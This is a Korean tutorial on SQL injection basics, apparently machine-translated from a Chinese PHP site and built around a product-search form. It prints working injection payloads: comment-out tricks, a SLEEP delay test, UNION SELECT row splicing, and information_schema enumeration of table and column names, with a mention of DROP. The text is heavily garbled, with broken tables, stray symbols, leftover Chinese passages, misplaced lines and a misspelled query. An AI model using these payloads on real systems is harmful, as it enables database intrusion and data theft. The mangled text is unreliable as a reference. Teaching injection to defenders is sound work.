SQL 주입의 기본 원리
WEB 기술은 빠르게 발전하고 있지만 SQL을 철자하는 전통적인 기술은 맨손으로는 여전히 제한적입니다. 결국, 복잡한 ORM 규칙 세트를 학습하는 것보다 직접 수행하는 것이 더 편리하고 직관적입니다. 일반적으로 SQL을 직접 작성하는 사람들은 SQL 주입이 위험하다는 말을 들어야 하지만 항상 스스로 생각합니다. 내 SQL 문은 너무 간단해서 주입할 수 없습니다.
5분만 시간을 내어 이 전체 예제를 읽어보세요. 이제부터는 어떤 위험도 감수해서는 안 됩니다.
간단한 장면
제품명 입력, 해당 가격 표시, 생산 날짜 및 생산 위치 정보를 제공하는 WEB 인터페이스가 있습니다. 예를 들어 Hammer 디스플레이를 입력합니다.
product | price | production place#🎜🎜 ## 🎜🎜#제조일 | |
---|---|---|---|
12.98 | 미국 사람# 🎜🎜# | 2019.11.07 | |
29.98 | 캐나다# 🎜 🎜# | 2019.11.11
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';where ? 구체적인 테이블 이름과 필드 이름을 모르기 때문에 이 SQL에서 조작할 수 있는 유일한 것은 작은따옴표 안의 입력 내용 '%Hammer%'뿐입니다. 검색창에 작은따옴표를 직접 입력하는 경우. 즉,
select ? from ? where ? Like '%'%';이 됩니다. 이렇게 연결하면 SQL 구문 오류가 발생하고 결과를 얻을 수 없습니다. 마지막 작은따옴표를 주석 처리하려면
--
를 사용해야 합니다. . select ? from ? where ? Like '%'; -- %';
--
뒤에는 댓글 내용(#
도 사용할 수 있음)이 따라오므로 모든 제품 정보를 얻을 수 있으므로 멀리, 아직도 위험 신호 냄새를 맡지 못했습니다.
--
来把最后一个单引号注释掉。
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
--
后的是注释内容(你也可以用#
생산지 | 생산일 | ||
---|---|---|---|
미국식 | # 🎜 🎜#2019.11.07클럽해머 | 29.98 | |
#🎜 🎜#2019.11 .11 | 손질칼 | 10.98 | |
2019.11. 1# 🎜🎜# | 본닝나이프 | 19.98 | 중국 |
실력을 시험해보고 | 이전에서 확장할 수 있는 작은따옴표 부분을 붙잡으세요. 단계. 간단한 지연문을 사용해 보겠습니다. |
물론 더 파괴적인 것도 있습니다! select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
테이블/데이터베이스를 직접 삭제할 수 있습니다. 데이터베이스에 어떤 테이블이 있는지 확인하는 방법(즉, 이전 SQL 문장에서 xxxx를 확인하는 방법)은 무엇인가요?
이 데이터베이스에 어떤 테이블이 있는지 알아야 합니다! 그래야만 유용한 정보를 얻을 수 있습니다.
Union을 사용하여 여러 테이블의 내용을 함께 넣을 수 있습니다. 한번 시도해 보세요.
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
product#🎜 🎜#
가격
생산지
#🎜 🎜#클로해머 | 12.98 | American | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
29.98 | Canada | 2019.11.11 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
3 | 4 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。 Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。 select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。 看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。 select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦): select name,price,address,updated_at from products where name like '%Hammer%'; 通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表 |
위 내용은 SQL 인젝션의 기본 원리를 빠르게 이해의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!